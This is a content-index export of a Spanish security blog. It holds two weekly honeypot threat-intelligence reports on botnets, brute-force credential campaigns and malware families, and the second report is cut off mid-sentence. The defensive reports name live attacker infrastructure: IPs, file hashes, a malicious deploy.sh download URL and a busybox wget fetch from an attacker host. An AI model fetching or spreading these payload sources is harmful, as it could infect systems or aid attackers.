[{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/adbhoney/","section":"Tags","summary":"","title":"Adbhoney","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/bitcoin/","section":"Tags","summary":"","title":"Bitcoin","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/blueteam/","section":"Tags","summary":"","title":"BlueTeam","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/botnet/","section":"Tags","summary":"","title":"Botnet","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/conpot/","section":"Tags","summary":"","title":"ConPot","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/cowrie/","section":"Tags","summary":"","title":"Cowrie","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/cripto/","section":"Tags","summary":"","title":"Cripto","type":"tags"},{"content":"","date":"10 agosto 2026","externalUrl":null,"permalink":"/tags/crypto/","section":"Tags","summary":"","title":"Crypto","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/dionaea/","section":"Tags","summary":"","title":"Dionaea","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/honeypot/","section":"Tags","summary":"","title":"Honeypot","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/categories/honeypot-diaries/","section":"Categories","summary":"","title":"Honeypot Diaries","type":"categories"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/honeypot/","section":"Honeypots","summary":"","title":"Honeypots","type":"honeypot"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/honeytrap/","section":"Tags","summary":"","title":"Honeytrap","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/ics/","section":"Tags","summary":"","title":"ICS","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/iec104/","section":"Tags","summary":"","title":"IEC104","type":"tags"},{"content":" Quinto informe semanal del honeypot T-Pot, período 2–9 de agosto de 2026. El volumen sube a ~2.814.000 eventos. El botnet residencial de ConPot alcanza su tercera semana consecutiva con alcance ya global (NTT DOCOMO, Wind Tre, Bouygues Telecom suman a los ya conocidos Comcast, AT\u0026amp;T, Charter). RDPHoneypot casi iguala su máximo histórico impulsado por un nuevo actor: Datacamp Limited. En Cowrie aparece por primera vez una oleada de credenciales temáticas de criptomonedas y una nueva familia de malware nombrada iran. Y la campaña de Adbhoney que seguimos desde el primer informe —110→228→287→102 descargas— se cierra definitivamente. Período analizado: 2 – 9 de agosto de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente a internet Clasificación: Uso en portfolio / TLP:CLEAR Informes anteriores: 7–11 jul · 12–18 jul · 19–25 jul · 26 jul–2 ago\n1. Resumen Ejecutivo # El volumen total sube a ~2.814.000 eventos (frente a ~2.023.000 la semana anterior). Con cinco semanas acumuladas, esta entrega confirma el hallazgo más sólido del proyecto y añade dos nuevos:\nEl botnet residencial/móvil de ConPot se confirma por tercera semana consecutiva, y ahora es global: al bloque estadounidense (Comcast, AT\u0026amp;T, Charter, tercera semana) se suman NTT DOCOMO (Japón), Wind Tre (Italia) y Bouygues Telecom (Francia). Botnet distribuido en al menos cuatro países, sostenido tres semanas, siempre en SNMP. RDPHoneypot revierte su tendencia a la baja (2,3M→843k→657k) y se dispara a 1.894.467 ataques (x2,9), casi igualando el pico histórico. El motor es un actor nuevo: Datacamp Limited, con 479.496 eventos sin presencia previa en ningún informe. Giro temático en Cowrie: primera vez en cinco semanas que los tagclouds de usuario incluyen credenciales de criptomonedas (wallet, bitcoin, blockchain, chainlink, polkadot, solana, btcuser, exchange0) — campaña de fuerza bruta dirigida a nodos/wallets/exchanges SSH expuestos. Nueva familia de malware: binarios iran.x86_64, iran.aarch64, iran.m68k, iran.mips desde 165.22.69.214, en paralelo con Redtail que sigue presente. La campaña de Adbhoney seguida desde el informe #1 se cierra: el hash 849840d92c44ed... (110→228→287→102→0) desaparece del top 10, sustituido por uno nuevo de menor escala. Los actores persistentes más estables (108.181.56.189, 103.149.197.34) prácticamente desaparecen del top 10 general esta semana, mientras 45.153.34.x en Cowrie cumple cinco semanas consecutivas. 2. Volumetría — Cinco Semanas de Contexto # Honeypot 7–11 jul 12–18 jul 19–25 jul 26 jul–2 ago 2–9 ago RDPHoneypot 111.818 2.312.634 843.181 657.393 1.894.467 Honeytrap 678.792 218.202 372.001 545.549 321.830 Cowrie 116.390 229.182 249.057 318.800 251.659 ConPot 1.594 4.461 122.376 100.475 118.762 Sentrypeer 36.522 340.759 119.651 279.730 89.607 Dionaea 61.123 91.957 92.722 74.429 78.268 Adbhoney 2.618 2.012 1.737 1.292 652 Total aprox. ~1.011.000 ~3.213.000 ~1.820.000 ~2.023.000 ~2.814.000 Patrones a cinco semanas:\nRDPHoneypot es el sensor más volátil: depende casi enteramente de si hay una campaña activa esa semana. Esta semana hay. ConPot pasó de ser anecdótico (1.594 eventos, semana 1) a estabilizarse en 100.000-122.000 durante las últimas tres semanas — la evolución más significativa del proyecto. Adbhoney cae un 75% acumulado en cinco semanas (2.618→652), confirmando el fin de la campaña específica que veníamos siguiendo. Cowrie es el único con crecimiento monótono las primeras cuatro semanas; esta semana baja levemente, probablemente por rotación del pool de atacantes hacia otras infraestructuras. 3. ConPot — Botnet Residencial Confirmado: Tres Semanas, Cuatro Países # 118.762 ataques, 1.232 IPs únicas. Tercera semana en el rango de 100.000-122.000, y la composición del origen amplía el patrón a escala internacional.\nTercera semana: de EE. UU. al mundo # ASN Organización Tipo País Semanas 4713 NTT DOCOMO BUSINESS Móvil Japón 1ª vez 7922 Comcast Cable Communications Residencial EE. UU. 3ª 7018 AT\u0026amp;T Enterprises Residencial EE. UU. 3ª 33363 / 20115 Charter Communications Residencial EE. UU. 3ª 1267 Wind Tre S.p.A. Móvil Italia 1ª vez 15557 SFR Residencial Francia 2ª 6327 Shaw Communications Residencial Canadá 1ª vez 5410 Bouygues Telecom Móvil Francia 1ª vez Este es el hallazgo más sólido del proyecto. Cero proveedores de hosting/VPS en el top 10 durante tres semanas consecutivas, con presencia confirmada ahora en EE. UU., Canadá, Francia, Italia y Japón. La conclusión ya no admite duda razonable: botnet de dispositivos domésticos y/o móviles comprometidos, distribuido internacionalmente, escaneando SNMP de forma sostenida.\n¿Por qué SNMP? Es el protocolo de gestión más extendido en routers domésticos y dispositivos IoT, habitualmente con credenciales por defecto (public/private) que nunca se cambian. Escanearlo masivamente sirve para identificar nuevos nodos comprometibles — el botnet se auto-replica.\nIEC-104: sexta semana consecutiva # El protocolo de telecontrol eléctrico (puerto 2404) continúa presente. Esta semana sin interacción capturada en los paneles de input/response — sondeo puro de puerto, sin intentos de hablar el protocolo.\n4. RDPHoneypot — Casi Máximo Histórico, Nuevo Actor # 1.894.467 ataques, 828 IPs únicas (x2,9 respecto a la semana anterior).\nDatacamp Limited: de cero a protagonista # ASN Organización Eventos — Datacamp Limited 479.496 47447 IONOS SE 351.489 201814 MEVSPACE sp. z o.o. 200.267 205997 Vlad Cojuhari 186.326 Datacamp Limited pasa de no aparecer en ningún informe anterior a liderar el origen con casi la cuarta parte de todo el tráfico del sensor. Coincide con la entrada de España como segundo país de origen (nuevo esta semana), sugiriendo que la infraestructura de este actor está ubicada o enrutada a través de España. MEVSPACE sigue siendo el actor más constante de las últimas semanas — ya lleva cuatro apariciones en el top.\nPor primera vez, la proporción de tráfico catalogado como \u0026ldquo;bot/crawler\u0026rdquo; se acerca al 45%, casi igualando a \u0026ldquo;known attacker\u0026rdquo; — un cambio de perfil respecto a semanas anteriores donde \u0026ldquo;known attacker\u0026rdquo; dominaba por encima del 90%.\n5. Cowrie — Credenciales Cripto y Nueva Familia de Malware # 251.659 ataques, 2.868 IPs únicas (salto notable en IPs únicas), 60 HASSH únicos.\nOleada de credenciales cripto # El tagcloud de usuarios rompe por primera vez con el patrón de las cuatro semanas anteriores. Junto a los habituales Administrator/root, aparece un diccionario completo de criptomonedas:\nwallet · bitcoin · blockchain · chainlink · polkadot · solana · cardano · metaverse · binance · ethuser · btcuser · cryptoadmin · exchange0 · xrp\nNinguno de estos términos había aparecido en los cuatro informes anteriores. Es un diccionario construido específicamente para probar cuentas de administración de nodos de blockchain, wallets autoalojadas o paneles de exchanges expuestos por SSH — vector de ataque completamente distinto al de fuerza bruta genérica de servidores.\nNueva familia: \u0026ldquo;iran\u0026rdquo; # Descargas capturadas desde 165.22.69.214 con binarios nombrados:\niran.x86_64 iran.aarch64 iran.m68k iran.mips Cuatro arquitecturas bajo un mismo nombre de campaña, en paralelo con Redtail (que sigue apareciendo). El uso de un nombre de país como identificador no permite concluir nada sobre origen real sin análisis del binario — podría ser una elección arbitraria del operador — pero es un dato distintivo que merece registro y seguimiento si reaparece.\nPersistencia a cinco semanas # La subred 45.153.34.x (esta vez la IP .167) vuelve a aparecer — quinta semana consecutiva, la racha de persistencia más larga confirmada de todo el proyecto.\nCambio de cliente SSH dominante # Por primera vez, SSH-2.0-Go (dominante las cuatro semanas anteriores) pierde el primer puesto frente a una variante libssh, que pasa a representar más del 80% del tráfico — coherente con el cambio de herramienta que típicamente acompaña a una nueva campaña entrando con su propio tooling.\n6. Honeytrap — Nuevo Actor Dominante de Ciclo Corto # 321.830 ataques, 9.280 IPs únicas.\nLa IP 193.46.255.112 (ASN Unmanaged Ltd) lidera con 118.453 eventos en Honeytrap, y aparece también en el top general (122.767) y en Adbhoney (38). Mientras tanto, 45.95.147.229 —dominante la semana pasada con 188.529 eventos— cae a solo 15.455 esta semana. Este patrón (actor nuevo aparece con fuerza, domina una semana, cae drásticamente la siguiente) es ya recurrente: Flyservers S.A., 45.95.147.229, ahora 193.46.255.112. Los actores dominantes de Honeytrap tienen ciclos de vida de aproximadamente una semana.\nAparece el puerto 5901 (VNC) en el top de destinos por primera vez, junto a los ya habituales 5038/AMI, 7070, 8728/MikroTik y 2222.\n7. Sentrypeer — Nuevo Bloque, Nuevo País # 89.607 ataques, 188 IPs únicas — otra caída (de 279.730), confirmando el patrón errático del sensor a lo largo de las cinco semanas (36k→340k→119k→280k→90k).\nPolonia pasa a ser el primer país de origen, con MEVSPACE sp. z o.o. concentrando 68.436 eventos en un bloque de cinco IPs consecutivas (149.50.107.43, .47, .48, .49, .53) — el mismo patrón de rotación dentro de subred ya visto repetidamente en otros sensores.\n108.181.56.189 y 108.181.64.154 —presentes las últimas semanas— no aparecen en el top 10 esta semana. Su racha de presencia continuada parece haberse cortado.\n8. Dionaea — El Objetivo Turco se Diluye # 78.268 ataques, 1.348 IPs únicas.\nLos términos de ERP turco (KASA, LOGO, MIKRO, MUHASEBE) que dominaron los tagclouds las dos semanas anteriores desaparecen esta semana. Sin embargo, dos ISPs turcos (Superonline İletişim Hizmetleri A.Ş. y Netonline Bilişim) siguen en el top de ASN con volúmenes moderados — el tráfico de fondo con origen turco continúa, aunque la campaña dirigida específica parece haber pausado o concluido.\nAparecen nuevos países de origen: Georgia, Nepal y Albania — mayor dispersión geográfica que en semanas anteriores.\n9. Adbhoney — Cierre Confirmado de la Campaña Original # 652 ataques, 99 IPs únicas — mínimo histórico del sensor.\nSemana Descargas del hash 849840... 7–11 jul 110 12–18 jul 228 19–25 jul 287 26 jul–2 ago 102 2–9 ago 0 El hash desaparece completamente del top 10. En su lugar aparece f1d67dc388635f8e854dcd04b7a2c423ee64d60f21a760104ba4a679be3f46d.raw con solo 16 descargas — campaña distinta, de mucho menor escala. La campaña original de minería (com.ufo.miner vía rebirth.arm7) ha terminado o su infraestructura fue neutralizada. Cinco semanas de seguimiento de un único hash, desde su aparición hasta su cierre, es exactamente el tipo de inteligencia longitudinal que distingue un informe de threat intel con perspectiva temporal real.\n10. Actores Persistentes — Semana 5 # Indicador S1 S2 S3 S4 S5 45.153.34.x (Cowrie) ✅ ✅ ✅ ✅ ✅ Redtail (Cowrie) ✅ ✅ ✅ ✅ (+RISC-V) ✅ (+iran paralelo) IEC-104 en ConPot ✅ ✅ ✅ ✅ ✅ Botnet SNMP residencial (ConPot) ❌ ❌ ✅ ✅ ✅ 108.181.56.189 (Sentrypeer) ❌ ✅ ✅ ✅ ⚠️ ausente 103.149.197.34 (Cowrie) ✅ ✅ ✅ ✅ ⚠️ menor rol Hash Adbhoney 849840... ✅ 110 ✅ 228 ✅ 287 ⚠️ 102 ❌ fin Objetivo ERP turco (Dionaea) ❌ ❌ ✅ ✅ ⚠️ diluido 11. Conclusiones # El botnet residencial/móvil de ConPot es el hallazgo más sólido de las cinco semanas: tres semanas consecutivas con el mismo perfil de origen (ISPs domésticos/móviles, sin un solo VPS) y ahora con alcance en cuatro países. Es el mejor candidato para un artículo técnico independiente centrado en la dinámica \u0026ldquo;el atacante no tiene su propia infraestructura, son los dispositivos de tus vecinos\u0026rdquo;.\nLos actores dominantes en Honeytrap y RDPHoneypot tienen ciclos de vida de aproximadamente una semana: Flyservers S.A., 45.95.147.229, Datacamp Limited, 193.46.255.112 — todos dominan una semana y se desinflán drásticamente la siguiente. Tratarlos como actores distintos semana a semana es más correcto que intentar construir un perfil de actor persistente para estos sensores.\nLa oleada de credenciales cripto en Cowrie merece seguimiento específico: si se repite la semana que viene, es una campaña dirigida real y un hallazgo de nivel de post independiente; si no reaparece, fue un evento puntual como el malware iran o las arquitecturas raras de semanas anteriores.\nEl ciclo completo del hash de Adbhoney (aparición → crecimiento → caída → desaparición en cinco semanas) es el mejor ejemplo del valor del seguimiento longitudinal de IOCs. Sin el contexto acumulado, la caída de la semana 4 no habría tenido interpretación clara.\n45.153.34.x en Cowrie es el actor más persistente del proyecto (cinco semanas) y el candidato más sólido a regla de bloqueo permanente a nivel de subred en un entorno de producción real.\nInforme elaborado a partir de datos propios recogidos en una instancia T-Pot expuesta públicamente a internet. Metodología: exportación de paneles agregados de Kibana (rango 2–9 agosto 2026) más tagclouds de credenciales en CSV. Comparativa frente a los cuatro informes anteriores (7–11 jul, 12–18 jul, 19–25 jul, 26 jul–2 ago).\n","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/honeypot/informe-semanal-05/","section":"Honeypots","summary":" Quinto informe semanal del honeypot T-Pot, período 2–9 de agosto de 2026. El volumen sube a ~2.814.000 eventos. El botnet residencial de ConPot alcanza su tercera semana consecutiva con alcance ya global (NTT DOCOMO, Wind Tre, Bouygues Telecom suman a los ya conocidos Comcast, AT\u0026T, Charter). RDPHoneypot casi iguala su máximo histórico impulsado por un nuevo actor: Datacamp Limited. En Cowrie aparece por primera vez una oleada de credenciales temáticas de criptomonedas y una nueva familia de malware nombrada iran. Y la campaña de Adbhoney que seguimos desde el primer informe —110→228→287→102 descargas— se cierra definitivamente. Período analizado: 2 – 9 de agosto de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente a internet Clasificación: Uso en portfolio / TLP:CLEAR Informes anteriores: 7–11 jul · 12–18 jul · 19–25 jul · 26 jul–2 ago\n","title":"Informe Semanal de Threat Intelligence — Honeypot T-Pot (2–9 agosto 2026)","type":"honeypot"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/iot/","section":"Tags","summary":"","title":"IoT","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/ipmi/","section":"Tags","summary":"","title":"IPMI","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/malware/","section":"Tags","summary":"","title":"Malware","type":"tags"},{"content":"Ex-ingeniero de robótica especializado en ciberseguridad ofensiva. Documentando el camino hacia la certificación CPTS de Hack The Box con writeups técnicos de máquinas reales.\n","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/","section":"Pablo Seoane · Pentester \u0026 Security Researcher","summary":"Ex-ingeniero de robótica especializado en ciberseguridad ofensiva. Documentando el camino hacia la certificación CPTS de Hack The Box con writeups técnicos de máquinas reales.\n","title":"Pablo Seoane · Pentester \u0026 Security Researcher","type":"page"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/rdp/","section":"Tags","summary":"","title":"RDP","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/redtail/","section":"Tags","summary":"","title":"Redtail","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/scada/","section":"Tags","summary":"","title":"SCADA","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/sentrypeer/","section":"Tags","summary":"","title":"Sentrypeer","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/snmp/","section":"Tags","summary":"","title":"SNMP","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/soc/","section":"Tags","summary":"","title":"SOC","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/threatintel/","section":"Tags","summary":"","title":"ThreatIntel","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/tpot/","section":"Tags","summary":"","title":"TPot","type":"tags"},{"content":"","date":"10 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/voip/","section":"Tags","summary":"","title":"VoIP","type":"tags"},{"content":"","date":"3 de agosto de 2026","externalUrl":null,"permalink":"/es/tags/erp/","section":"Tags","summary":"","title":"ERP","type":"tags"},{"content":" Cuarto informe semanal del honeypot T-Pot, período 26 de julio – 2 de agosto de 2026. Con cuatro semanas de datos acumuladas, los patrones dejan de ser anecdóticos y se convierten en tendencias: el botnet SNMP residencial de ConPot se confirma por segunda semana consecutiva (Comcast, AT\u0026amp;T, Verizon, Charter sin un solo VPS en el top 10), la IP 91.199.133.133 catalogada en ThreatFox como C2 de Mirai Katana reaparece sirviendo payloads en Cowrie, Redtail añade arquitectura RISC-V, y la campaña de fuerza bruta contra software ERP turco en Dionaea se confirma con una segunda semana de datos consistentes. Período analizado: 26 de julio – 2 de agosto de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR Informes anteriores: 7–11 jul · 12–18 jul · 19–25 jul\n1. Resumen Ejecutivo # El volumen total sube a ~2.023.000 eventos (frente a ~1.820.000 la semana anterior). Con cuatro semanas de datos, los patrones dejan de ser anecdóticos:\nEl botnet residencial de ConPot no fue un evento puntual: top 10 de ASN copado de nuevo por ISPs domésticos (Comcast, AT\u0026amp;T, Verizon, Charter ×3, Cox, CenturyLink, Videotron, SFR), sin un solo proveedor de hosting/VPS. Segunda semana idéntica en composición. Cierre de círculo con la primera investigación del proyecto: la IP 91.199.133.133 —catalogada en ThreatFox como C2 activo de la variante Mirai \u0026ldquo;Katana\u0026rdquo;— reaparece sirviendo deploy.sh a Cowrie, semanas después de su primera detección. Sigue operativa. Nuevo actor dominante: 45.95.147.229 (Alsycon B.V.) se convierte en la IP más activa de todo el dashboard (194.606 eventos), concentrada en Honeytrap. Sin presencia relevante en semanas anteriores. Persistencia a cuatro semanas: 108.181.56.189 (Sentrypeer) y 103.149.197.34 (Cowrie) llevan cuatro semanas consecutivas en el top 10 de sus respectivos sensores. Primera caída del hash de Adbhoney tras tres semanas de crecimiento: 110→228→287→102 descargas. ¿Pausa o takedown del servidor origen? El dato clave será la semana que viene. Redtail amplía arquitecturas: primera aparición de redtail.riscv, sumando RISC-V a ARM7/ARM8/i686/x86_64. El objetivo turco en Dionaea se confirma: segunda semana con terminología ERP turca en el tagcloud (POS, ERCYONETICI como términos nuevos) y Turk Telekom repitiendo en el top de ASN. 2. Volumetría — Cuatro Semanas de Contexto # Honeypot 7–11 jul 12–18 jul 19–25 jul 26 jul–2 ago RDPHoneypot 111.818 2.312.634 843.181 657.393 Honeytrap 678.792 218.202 372.001 545.549 Cowrie 116.390 229.182 249.057 318.800 Sentrypeer 36.522 340.759 119.651 279.730 ConPot 1.594 4.461 122.376 100.475 Dionaea 61.123 91.957 92.722 74.429 Adbhoney 2.618 2.012 1.737 1.292 Total aprox. ~1.011.000 ~3.213.000 ~1.820.000 ~2.023.000 Patrones que emergen a cuatro semanas:\nCowrie es el único sensor con crecimiento monótono las cuatro semanas (116k→229k→249k→319k) — actividad orgánica, sin picos artificiales. RDPHoneypot lleva tres semanas de caída consecutiva tras el pico de la semana 2 (2,3M→843k→657k) — la campaña se está desinflando gradualmente. Sentrypeer es el más errático (36k→340k→119k→280k) — sugiere varios actores independientes entrando y saliendo, no una única campaña predecible. Adbhoney es el único con declive sostenido en volumen de sensor las cuatro semanas, aunque el hash específico creció tres semanas antes de caer esta semana — son señales distintas. 3. ConPot — Segunda Semana del Botnet Residencial: ya es Patrón # 100.475 ataques, 1.077 IPs únicas. Volumen algo menor que la semana pasada (122.376) pero el hallazgo importante es que se repite exactamente la composición del origen.\nTop ASN: segunda semana sin un solo proveedor de hosting # ASN Organización País Eventos 7922 Comcast Cable Communications EE. UU. 29.940 7018 AT\u0026amp;T Enterprises EE. UU. 8.303 701 Verizon Business EE. UU. 7.434 20001 / 11426 / 10796 Charter Communications EE. UU. 3.799 / 2.339 / 2.155 22773 Cox Communications EE. UU. 2.809 15557 SFR Francia 2.547 209 CenturyLink EE. UU. 2.271 5769 Videotron Ltée Canadá 2.188 Con dos semanas idénticas en composición (ISPs residenciales puros, sin VPS/hosting), la hipótesis del botnet de routers domésticos/IoT comprometidos escaneando SNMP pasa de ser una hipótesis razonable a ser la explicación más probable respaldada por datos repetidos. El perfil es clásico: Comcast, AT\u0026amp;T, Charter y Verizon son los cuatro mayores operadores de banda ancha de EE. UU., con decenas de millones de routers domésticos — exactamente el tipo de infraestructura que un botnet IoT comprometería de forma masiva.\nIPMI sube posiciones # El puerto 623 (IPMI) pasa a ser el segundo más atacado del sensor, solo por detrás del 161 (SNMP). IPMI mal asegurado es una vía de compromiso real de servidores en datacenters — su crecimiento sostenido merece seguimiento si continúa.\nIEC-104: quinta semana consecutiva # El protocolo de telecontrol de subestaciones eléctricas sigue presente. El \u0026ldquo;Conpot Response - Top 10\u0026rdquo; muestra la respuesta \u0026quot;? Command not found. Send \u0026lsquo;H\u0026rsquo; for help.\u0026quot; repetida 53 veces esta semana, frente a 2-3 veces en semanas anteriores — más intentos de interacción exploratoria con el servicio simulado, no solo escaneo automático de puertos.\n4. El Nuevo Actor Dominante: 45.95.147.229 (Alsycon B.V.) # La IP individual más activa de todo el dashboard esta semana: 194.606 eventos. Sin presencia destacable en ninguna semana anterior.\nSensor Eventos Honeytrap 188.529 Adbhoney 266 El ASN Alsycon B.V. había aparecido en semanas anteriores con volúmenes menores repartidos entre varios sensores, pero nunca con una sola IP concentrando casi 200.000 eventos en una semana. Perfil típico de una IP recién puesta en producción para una campaña de escaneo agresiva. El dato clave será la semana que viene: ¿se consolida como actor recurrente o sigue el camino de Flyservers S.A. y desaparece casi por completo?\n5. Cowrie — Cierre de Círculo con ThreatFox y RISC-V en Redtail # 318.800 ataques, 1.821 IPs únicas, 63 HASSH. Cuarto incremento semanal consecutivo.\nLa IP de ThreatFox reaparece # En el panel de descargas aparece la URL http://91.199.133.133:8080/deploy.sh con 10 descargas. 91.199.133.133 es la misma IP que identificamos en ThreatFox al inicio de este proyecto, catalogada como C2 activo de la variante Mirai \u0026ldquo;Katana\u0026rdquo; con confianza del 100%. Ahora sirve un script de despliegue por HTTP en el puerto 8080, confirmando que la infraestructura sigue operativa semanas después de su primera detección. Sin el registro de IOCs de semanas anteriores, esta reaparición habría pasado desapercibida como \u0026ldquo;una URL más\u0026rdquo; en el top de descargas.\nRedtail añade RISC-V # Primera aparición de redtail.riscv junto a los ya habituales .arm7, .arm8, .i686. RISC-V es una arquitectura de conjunto de instrucciones abierta con presencia creciente en microcontroladores y hardware IoT de bajo coste. Su inclusión confirma que el operador de Redtail sigue ampliando activamente su cobertura de dispositivos objetivo.\nActores persistentes # Indicador Sem 1 Sem 2 Sem 3 Sem 4 Subred 45.153.34.x ✅ ✅ ✅ ✅ Malware Redtail ✅ ✅ ✅ ✅ Script chattr -ia .ssh ✅ ✅ ✅ ✅ 103.149.197.34 en top 10 ✅ ✅ ✅ ✅ Curiosidad técnica: cabeceras HTTP como \u0026ldquo;credenciales\u0026rdquo; # En los tagclouds de usuario y contraseña aparecen literalmente fragmentos de peticiones HTTP: User-Agent: python-requests/2.27.1, Accept: */*, Host: 62.84.184.111:23. Esto ocurre cuando un cliente HTTP automatizado (escáner mal configurado, dado el user-agent python-requests) envía una petición HTTP completa contra el puerto SSH de Cowrie — el honeypot intenta interpretar las primeras líneas como intento de login y las registra tal cual. No es un ataque en sí, pero es un buen ejemplo de ruido de escáneres mal construidos que puede distorsionar las estadísticas de credenciales si no se filtra con criterio.\n6. Sentrypeer — Repunte con Nuevos Protagonistas del Mismo Bloque # 279.730 ataques, 178 IPs únicas (x2,3 respecto a la semana anterior). Dos fases: meseta alta el 26-27 de julio, pico aún mayor el 30-31.\nPersistencia a cuatro semanas # 108.181.56.189 vuelve con 96.541 eventos — cuarta semana consecutiva con presencia relevante en este sensor y en el dashboard general.\nNuevo protagonista del mismo bloque # 108.181.64.154 —del mismo rango 108.181.6x.x— se convierte en la IP más activa del sensor con 103.695 eventos. Dos IPs del mismo bloque /16 siendo las más activas en semanas consecutivas apunta a que no opera una única IP, sino un bloque de direcciones bajo el mismo control, rotando de forma similar a lo ya visto con la subred 45.153.34.x en Cowrie.\nLos user-agents SIP más frecuentes cambian a Cisco-SIPGateway/IOS y FreeSWITCH-mod_sofia — variación en las herramientas, mismo objetivo de fraude/enumeración VoIP.\n7. RDPHoneypot — Tercera Semana de Declive Sostenido # 657.393 ataques, 551 IPs únicas. Tendencia confirmada: 2.312.634 → 843.181 → 657.393.\nMEVSPACE sp. z o.o. se mantiene como el ASN más constante de las últimas semanas (190.392 esta semana). Flyservers S.A., que casi desapareció en la semana 3, reaparece con un volumen modesto (22.783) — ni vuelve a dominar ni desaparece del todo. Se consolida como actor secundario recurrente.\n8. Dionaea — Segunda Semana del Objetivo ERP Turco: ya es Campaña # 74.429 ataques, 1.660 IPs únicas — a la baja en volumen, pero con el hallazgo cualitativo más importante del sensor.\nEl tagcloud se amplía # Término Significado / Contexto KASA Caja/efectivo MIKRO, LOGO Marcas reales de ERP turco MUHASEBE Contabilidad BARKOD Código de barras ENTEGRA Integración (módulo ERP) POS (nuevo) Punto de venta ERCYONETICI (nuevo) Probable \u0026ldquo;ERP yöneticisi\u0026rdquo; — administrador de ERP en turco Turk Telekom repite en el top de ASN (3.670 eventos, frente a 3.410 la semana pasada). Con dos semanas de datos consistentes en terminología, protocolo (MSSQL) y origen geográfico, la clasificación de campaña dirigida es ya sólida, no una hipótesis.\nIndia se convierte en el primer país de origen (nuevo en Dionaea), con Alliance Broadband Services Pvt. Ltd. (11.070 eventos) y la IP 144.48.227.75 como principal origen.\n9. Adbhoney — Primera Caída: ¿Pausa o Takedown? # 1.292 ataques, 108 IPs únicas. El dato que rompe la racha:\nSemana Descargas del hash 7–11 jul 110 12–18 jul 228 19–25 jul 287 26 jul–2 ago 102 El hash 849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d53839b5 cae de 287 a 102 descargas. El comando busybox wget contra 94.154.43.48 también cae de forma proporcional (218 → 80 ejecuciones). Las causas posibles son la baja de la infraestructura de origen, una pausa deliberada de la campaña, o variabilidad puntual. El dato decisivo será la semana que viene: si se recupera, fue una pausa; si sigue cayendo o desaparece, es indicio de takedown o abandono de la campaña.\n10. Actores Persistentes — Primera Tabla Consolidada # Con cuatro semanas de datos ya disponibles, se inaugura esta sección de seguimiento longitudinal:\nIndicador S1 (7-11 jul) S2 (12-18 jul) S3 (19-25 jul) S4 (26 jul-2 ago) 45.153.34.x (Cowrie) ✅ ✅ ✅ ✅ Redtail (Cowrie) ✅ ✅ ✅ ✅ (+RISC-V) 103.149.197.34 (Cowrie) ✅ ✅ ✅ ✅ 108.181.56.189 (Sentrypeer) ❌ ✅ ✅ ✅ Hash Adbhoney 849840... ✅ 110 ✅ 228 ✅ 287 ⚠️ 102 IEC-104 en ConPot ✅ ✅ ✅ ✅ Botnet SNMP residencial (ConPot) ❌ ❌ ✅ ✅ Objetivo ERP turco (Dionaea) ❌ ❌ ✅ ✅ 91.199.133.133 (C2 Katana) 🔍 IOC ❌ ❌ ✅ reaparece 11. Conclusiones # El botnet SNMP residencial es ya el hallazgo más sólido del proyecto: dos semanas con composición de origen idéntica (ISPs domésticos puros) eliminan la posibilidad de anomalía puntual. Es el mejor candidato para un post técnico independiente.\nLa reaparición de 91.199.133.133 demuestra el valor del registro longitudinal de IOCs: sin el contexto de semanas anteriores, habría sido \u0026ldquo;una URL más\u0026rdquo;. Con el contexto, es la confirmación de que una infraestructura C2 investigada explícitamente sigue operativa semanas después.\nVigilar 45.95.147.229 la semana que viene: ¿actor recurrente o flash-in-the-pan como Flyservers S.A.? Una sola semana no permite clasificarlo.\nEl objetivo ERP turco en Dionaea es ya campaña confirmada: dos semanas con el mismo perfil (terminología, protocolo, ASN de origen) justifican tratarlo como ataque dirigido, no ruido genérico.\nLa caída del hash de Adbhoney es la señal más incierta de la semana: el seguimiento de la semana que viene resolverá si fue pausa o fin de 